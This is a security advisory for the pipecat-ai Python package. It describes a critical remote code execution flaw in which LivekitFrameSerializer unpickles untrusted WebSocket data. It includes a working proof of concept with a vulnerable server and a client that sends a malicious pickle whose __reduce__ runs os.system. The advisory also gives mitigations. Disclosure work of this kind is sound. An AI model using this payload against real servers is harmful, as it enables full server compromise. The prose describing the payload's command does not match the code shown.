Remote Code Execution by Pickle Deserialization via LivekitFrameSerializer in pipecat-ai/pipecat

Critical **markbackman** published **GHSA-c2jg-5cp7-6wc7** 4 hours ago

Package

pipecat-ai (pip)

Affected versions	Patched versions
>= 0.0.41	0.0.94

Description

Remote Code Execution via Unsafe Deserialization in Pipecat's LivekitFrameSerializer

Summary

A critical vulnerability exists in Pipecat's `LivekitFrameSerializer` – an **optional, non-default, undocumented** frame serializer class (now deprecated) intended for LiveKit integration. The class's `deserialize()` method uses Python's `pickle.loads()` on data received from WebSocket clients without any validation or sanitization. This means that a malicious WebSocket client can send a crafted pickle payload to execute arbitrary code on the Pipecat server. The vulnerable code resides in `src/pipecat/serializers/livekit.py` (around line 73), where untrusted WebSocket message data is passed directly into `pickle.loads()` for deserialization. If a Pipecat server is configured to use LivekitFrameSerializer and is listening on an external interface (e.g. 0.0.0.0), an attacker on the network (or the internet, if the service is exposed) could achieve remote code execution (RCE) on the server by sending a malicious pickle payload.

Details

The `LivekitFrameSerializer` is a serializer meant to convert between Pipecat audio frames and LiveKit's audio frame format. **It is not enabled by default** – developers would have to explicitly use this serializer. In Pipecat version 0.0.90, this class was officially deprecated in favor of a safer `LiveKitTransport` method, but it remains in the code for backward compatibility. The vulnerability arises in how it handles incoming data: the `deserialize()` method blindly unpickles whatever byte stream it receives over the WebSocket. Below is a snippet illustrating the core issue in the `LivekitFrameSerializer.deserialize` implementation:

Vulnerable code in src/pipecat/serializers/livekit.py:

```
async def deserialize(self, data: str | bytes) -> Frame | None:
    # ... (docstring omitted for brevity)
    audio_frame: AudioFrame = pickle.loads(data)["frame"]   # Unsafely deserializing unt
    return InputAudioRawFrame(
        audio=bytes(audio_frame.data),
        sample_rate=audio_frame.sample_rate,
        num_channels=audio_frame.num_channels,
    )
```

Python's `pickle.loads` will execute arbitrary code if the input data is a maliciously crafted pickle object. In this case, an attacker can exploit the `LivekitFrameSerializer` by sending a pickle payload that, when deserialized, runs attacker-controlled code on the server. The serializer assumes the data contains a LiveKit `AudioFrame` object (possibly in a dictionary with key "frame"), but does not verify the content or source. As a result, any object with a malicious `__reduce__` or other pickle protocol methods will be executed upon deserialization. This is a known risk: pickle should never be used on untrusted data.

In summary, whenever `LivekitFrameSerializer` is active, any client that can connect to the Pipecat WebSocket can send a specially crafted pickle binary. Upon receiving it, Pipecat will call `pickle.loads`, immediately executing the payload's code. This can lead to a full compromise of the Pipecat server process, allowing attackers to run arbitrary commands or take control of the host system with the privileges of the Pipecat service.

Proof of Concept (PoC)

The following proof-of-concept demonstrates how an attacker could exploit this vulnerability. It involves two steps: (1) running a Pipecat WebSocket server using the vulnerable serializer, and (2) sending a malicious pickle from a client.

Start a Pipecat WebSocket server with the LivekitFrameSerializer enabled – for example, by binding the server to all network interfaces (0.0.0.0) on port 8765. In a Pipecat application, this might be done by specifying the LiveKit serializer in the WebSocket transport parameters. For illustration, the code snippet below starts a server:

```
import asyncio
import websockets
from pipecat.serializers.livekit import LivekitFrameSerializer
```

```
serializer = LivekitFrameSerializer()

async def handler(ws):
    """
    websockets new-style handler: single argument (connection object).
    Path (if needed) is available via ws.path.
    """
    try:
        data = await ws.recv()
        if isinstance(data, str):
            data = data.encode("utf-8")
        frame = await serializer.deserialize(data)
        print("deserialize returned:", frame)
    except Exception as e:
        print("deserialize raised:", repr(e))

async def main():
    print("Starting server on 0.0.0.0:8765 (websockets new API handler)")
    async with websockets.serve(handler, "0.0.0.0", 8765):
        await asyncio.Future()  # run forever

if __name__ == "__main__":
    asyncio.run(main())
```

In this setup, the server listens on ws://0.0.0.0:8765 (with a default path of /ws for WebSocket connections). It will use `LivekitFrameSerializer` for incoming frames, making it vulnerable to pickle-based attacks.

Send a malicious pickle payload from a client – an attacker can now connect to the WebSocket and transmit a crafted pickle object that executes code. For instance, the payload below defines a class RCE whose `__reduce__` method will invoke `os.system("ls -l")`. When unpickled on the server, this will run the `ls -l` command (listing directory contents) on the server side:

```
import asyncio
import pickle
import websockets

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("echo EXPLOITED > /tmp/pipecat_exploit || true",))

async def attack():
    uri = "ws://127.0.0.1:8765"
    async with websockets.connect(uri) as ws:
        payload = pickle.dumps({"frame": RCE()})
        await ws.send(payload)

if __name__ == "__main__":
    asyncio.run(attack())
```

```
In this PoC, the attacker's code opens a WebSocket connection to the Pipecat serve
and sends the pickled RCE object. On the server, the
`LivekitFrameSerializer.deserialize()` method will call pickle.loads() on this data,
which in turn triggers the `RCE.__reduce__` method. This executes the `os.system("ls
-l")` command on the server. In a real attack, the payload could be crafted to
perform any arbitrary actions (create a reverse shell, modify files, etc.) with the
privileges of the Pipecat process.
```

Impact

If an application uses `LivekitFrameSerializer` and exposes the Pipecat WebSocket server to untrusted networks, an attacker can achieve remote code execution on the server with a single malicious message. This could lead to a complete compromise of the server: the attacker can execute operating system commands, read or modify data, install malware, or pivot to other systems. The severity of this vulnerability is high – any code execution vulnerability is critical, especially in a real-time communications server context.

It's important to note that by default Pipecat does not use LivekitFrameSerializer (and in fact the class is deprecated), so only systems that explicitly opt into this serializer are affected. However, because the class exists in the codebase, users might inadvertently use it. Any such usage on a public-facing or even internal network service can be exploited by an attacker with network access to the service. The worst-case scenario is an internet-exposed Pipecat server using this serializer, which would allow remote exploitation by anyone with access to the WebSocket port.

Mitigation

Users of Pipecat should take the following actions to eliminate or reduce the risk of this vulnerability:

1. Avoid or replace unsafe deserialization: Ideally, do not use `LivekitFrameSerializer` at all given its use of unsafe pickle deserialization. Pipecat's maintainers have deprecated this class in favor of `LiveKitTransport`, which does not require explicit pickle usage. If you need to support LiveKit integration or any binary frame serialization, use safer alternatives:

   ```
    * Use standardized formats like JSON for simple structured data, or binary
   formats like Protocol Buffers or MessagePack for more complex data structures.
   These formats do not execute code upon parsing.

    * If you absolutely must use pickle (not recommended), implement a custom
   `pickle.Unpickler` with a restricted `find_class()` method. This can limit what
   classes and functions can be instantiated during unpickling (whitelisting only
   safe types), which can mitigate arbitrary code execution. However, even a
   restricted unpickler is risky and should be considered a last resort.
   ```

2. Improve network security configuration: Limit who can reach your Pipecat service.

```
 * Bind to localhost whenever possible. If the Pipecat server is intended for
internal or single-machine use, use host="127.0.0.1" (or omit the host to defau
to localhost) instead of 0.0.0.0. This prevents external network access by
default and significantly reduces exposure.

 * Require authentication and authorization on the WebSocket connection. If the
use case allows, enforce that clients must authenticate (using tokens, API keys,
or other means) before accepting and processing frames. This won't fix the
underlying code issue, but it can restrict who is able to send potentially
malicious data.
```

In summary, the best mitigation is to stop using the vulnerable LivekitFrameSerializer altogether. If you require LiveKit functionality, upgrade to the latest Pipecat version and switch to the recommended `LiveKitTransport` or another secure method provided by the framework. Additionally, always follow secure coding practices: never trust client-supplied data, and avoid Python pickle (or similar unsafe deserialization) in network-facing components.

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-62373

Weaknesses

▶ CWE-502

Credits

Chenpinji

Reporter